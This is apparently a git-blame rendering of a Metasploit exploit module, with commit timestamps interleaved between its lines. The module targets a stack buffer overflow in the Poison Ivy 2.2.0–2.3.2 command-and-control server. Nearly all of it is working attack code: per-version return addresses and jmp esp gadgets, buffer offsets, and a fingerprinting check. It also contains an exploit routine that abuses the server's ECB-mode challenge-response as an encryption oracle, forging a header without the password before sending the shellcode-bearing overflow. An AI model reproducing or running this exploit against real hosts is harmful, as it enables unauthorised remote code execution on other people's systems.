2012-07-03 21:49:47 +00:00
##
2014-10-17 16:47:33 +00:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 18:50:46 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-07-03 21:49:47 +00:00
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
2013-08-30 21:28:54 +00:00
Rank = NormalRanking
include Msf :: Exploit :: Remote :: Tcp
def initialize ( info = { } )
super ( update_info ( info ,
2015-09-16 21:12:28 +00:00
'Name' = > 'Poison Ivy Server Buffer Overflow' ,
2013-08-30 21:28:54 +00:00
'Description' = > %q{
2015-09-07 15:48:28 +00:00
This module exploits a stack buffer overflow in the Poison Ivy 2 . 2 . 0 to 2 . 3 . 2 C & C server .
The exploit does not need to know the password chosen for the bot / server communication .
2013-08-30 21:28:54 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'Andrzej Dereszowski' , # Vulnerability Discovery
'Gal Badishi' , # Exploit and Metasploit module
2015-09-07 15:48:28 +00:00
'juan vazquez' , # Testing and little of Metasploit-fu
'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&C challenge-response as encryption oracle
2013-08-30 21:28:54 +00:00
] ,
'References' = >
[
[ 'OSVDB' , '83774' ] ,
[ 'EDB' , '19613' ] ,
[ 'URL' , 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ] ,
2015-09-07 15:48:28 +00:00
[ 'URL' , 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ] ,
2013-08-30 21:28:54 +00:00
] ,
2015-09-16 21:12:28 +00:00
'DisclosureDate' = > 'Jun 24 2012' ,
2013-08-30 21:28:54 +00:00
'DefaultOptions' = >
{
'EXITFUNC' = > 'thread' ,
} ,
'Payload' = >
{
'StackAdjustment' = > - 4000 ,
2015-09-16 21:14:21 +00:00
'Space' = > 10000
2013-08-30 21:28:54 +00:00
} ,
'Platform' = > 'win' ,
'Targets' = >
[
[
2015-09-07 15:48:28 +00:00
'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1' ,
2013-08-30 21:28:54 +00:00
{
2015-09-07 15:48:28 +00:00
'Ret' = > 0x00425E5D , # jmp esp from "Poison Ivy 2.2.0.exe"
2013-08-30 21:28:54 +00:00
'RWAddress' = > 0x00401000 ,
2015-09-07 15:48:28 +00:00
'Offset' = > 0x8069 ,
2013-08-30 21:28:54 +00:00
'PayloadOffset' = > 0x75 ,
2015-09-07 15:48:28 +00:00
'jmpPayload' = > " \x81 \xec \xFC \x7F \x00 \x00 \xff \xe4 " # sub esp,0x7FFC # jmp esp
2013-08-30 21:28:54 +00:00
}
] ,
2015-09-07 15:48:28 +00:00
2013-08-30 21:28:54 +00:00
[
2015-09-07 15:48:28 +00:00
'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1' ,
2013-08-30 21:28:54 +00:00
{
2015-09-07 15:48:28 +00:00
'Ret' = > 0x00442749 , # jmp esp from "Poison Ivy 2.3.0.exe"
'RWAddress' = > 0x00401000 ,
'Offset' = > 0x8069 ,
'PayloadOffset' = > 0x75 ,
'jmpPayload' = > " \x81 \xec \xFC \x7F \x00 \x00 \xff \xe4 " # sub esp,0x7FFC # jmp esp
}
] ,
[
'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1' ,
{
'Ret' = > 0x0041AA97 , # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe"
2013-08-30 21:28:54 +00:00
'RWAddress' = > 0x00401000 ,
'Offset' = > 0x806D ,
'PayloadOffset' = > 0x75 ,
2015-09-07 15:48:28 +00:00
'jmpPayload' = > " \x81 \xec \x00 \x80 \x00 \x00 \xff \xe4 " # sub esp,0x8000 # jmp esp
2013-08-30 21:28:54 +00:00
}
]
] ,
2015-09-07 15:48:28 +00:00
'DefaultTarget' = > 2
2013-08-30 21:28:54 +00:00
) )
register_options (
2015-09-16 21:12:28 +00:00
[
2015-09-16 21:23:43 +00:00
Opt :: RPORT ( 3460 )
2015-09-16 21:12:28 +00:00
] , self . class )
2013-08-30 21:28:54 +00:00
end
def check
2015-09-07 15:48:28 +00:00
# camellia block size
2015-09-16 21:12:28 +00:00
block_size = 16
2015-09-07 15:48:28 +00:00
# number of blocks in challenge
2015-09-16 21:12:28 +00:00
block_count = 16
challenge = ( " \x00 " * block_size * block_count )
2015-09-07 15:48:28 +00:00
2015-09-16 21:12:28 +00:00
indicator = { }
2015-09-07 15:48:28 +00:00
# 0x0000113e as first 4 bytes on PI 2.1.0
2015-09-16 21:12:28 +00:00
indicator [ [ 0x0000113e ] . pack ( 'V' ) ] = '2.1.0'
2015-09-07 15:48:28 +00:00
# 0x00001212 as first 4 bytes on PI 2.1.1
2015-09-16 21:12:28 +00:00
indicator [ [ 0x00001212 ] . pack ( 'V' ) ] = '2.1.1'
2015-09-07 15:48:28 +00:00
# 0x000013f6 as first 4 bytes on PI 2.1.2
2015-09-16 21:12:28 +00:00
indicator [ [ 0x000013f6 ] . pack ( 'V' ) ] = '2.1.2'
2015-09-07 15:48:28 +00:00
# 0x000013e0 as 4 bytes after challenge on PI 2.2.0
2015-09-16 21:12:28 +00:00
indicator [ [ 0x000013e0 ] . pack ( 'V' ) ] = '2.2.0'
2015-09-07 15:48:28 +00:00
# 0x00001470 as 4 bytes after challenge on PI 2.3.0
2015-09-16 21:12:28 +00:00
indicator [ [ 0x00001470 ] . pack ( 'V' ) ] = '2.3.0'
2015-09-07 15:48:28 +00:00
# 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2
2015-09-16 21:12:28 +00:00
indicator [ [ 0x000015D0 ] . pack ( 'V' ) ] = '2.3.1/2.3.2'
2013-08-30 21:28:54 +00:00
connect
2015-09-07 15:48:28 +00:00
sock . put ( challenge )
2015-09-16 21:12:28 +00:00
response = sock . get_once ( 256 )
2015-09-07 15:48:28 +00:00
2015-09-16 21:12:28 +00:00
if response && response . length == 256
2015-09-07 15:48:28 +00:00
# Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks
# map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks.
2015-09-16 21:12:28 +00:00
first_block = response [ 0 , 16 ]
( 1 .. 15 ) . each do | index |
unless response [ index * 16 , 16 ] == first_block
vprint_status ( " Response doesn't match Poison Ivy Challenge-Response format. " )
2015-09-07 15:48:28 +00:00
return Exploit :: CheckCode :: Safe
end
end
2015-09-16 21:12:28 +00:00
response = sock . get_once ( 4 )
end
disconnect
if response && response . length == 4
2015-09-07 15:48:28 +00:00
disconnect
if indicator . key? ( response )
2015-09-16 21:12:28 +00:00
version = indicator [ response ]
vprint_status ( " Poison Ivy C&C version #{ version } detected. " )
2015-09-16 21:34:43 +00:00
return Exploit :: CheckCode :: Appears
2013-08-30 21:28:54 +00:00
end
end
2015-09-07 15:48:28 +00:00
vprint_status ( " Response doesn't match Poison Ivy Challenge-Response protocol. " )
2015-09-16 21:12:28 +00:00
Exploit :: CheckCode :: Safe
2013-08-30 21:28:54 +00:00
end
2015-09-07 15:48:28 +00:00
def exploit
2013-08-30 21:28:54 +00:00
# Handshake
connect
2015-09-16 21:23:10 +00:00
print_status ( 'Performing handshake...' )
2015-09-07 15:48:28 +00:00
# plaintext header
2015-09-16 21:14:21 +00:00
plaintext_header = " \x01 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x00 \x00 \x01 \x00 \xbb \x00 \x00 \x00 \xc2 \x00 \x00 \x00 \xc2 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 "
2015-09-07 15:48:28 +00:00
# crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle
2015-09-16 21:14:21 +00:00
challenge = plaintext_header + ( " \x00 " * ( 256 - 32 ) )
2015-09-07 15:48:28 +00:00
sock . put ( challenge )
# response = encrypt(challenge, key)
response = sock . get_once
# since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key
2015-09-16 21:14:21 +00:00
encrypted_header = response [ 0 , 32 ]
2013-08-30 21:28:54 +00:00
# Don't change the nulls, or it might not work
xploit = ''
2015-09-16 21:14:21 +00:00
xploit << encrypted_header
2013-08-30 21:28:54 +00:00
xploit << " \x00 " * ( target [ 'PayloadOffset' ] - xploit . length )
xploit << payload . encoded
xploit << " \x00 " * ( target [ 'Offset' ] - xploit . length )
2015-09-16 21:14:21 +00:00
xploit << [ target . ret ] . pack ( 'V' ) # ret to a jmp esp opcode
xploit << [ target [ 'RWAddress' ] ] . pack ( 'V' ) # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
2013-08-30 21:28:54 +00:00
xploit << target [ 'jmpPayload' ] # This comes immediately after ret - it is a setup for the payload (jmp back)
# The disconnection triggers the exploit
2015-09-16 21:14:21 +00:00
print_status ( 'Sending exploit...' )
2013-08-30 21:28:54 +00:00
sock . put ( xploit )
select ( nil , nil , nil , 5 )
disconnect
end
2012-07-04 08:54:35 +00:00
end
= begin
* ROP version of exploit ( ) : Has been discarded at the moment because of two reasons :
( 1 ) Poison Ivy fails to run on DEP enabled systems ( maybe due to the unpacking process )
( 2 ) When trying a unpacked version on DEP enabled systems windows / exec payload runs , but not meterpreter
= end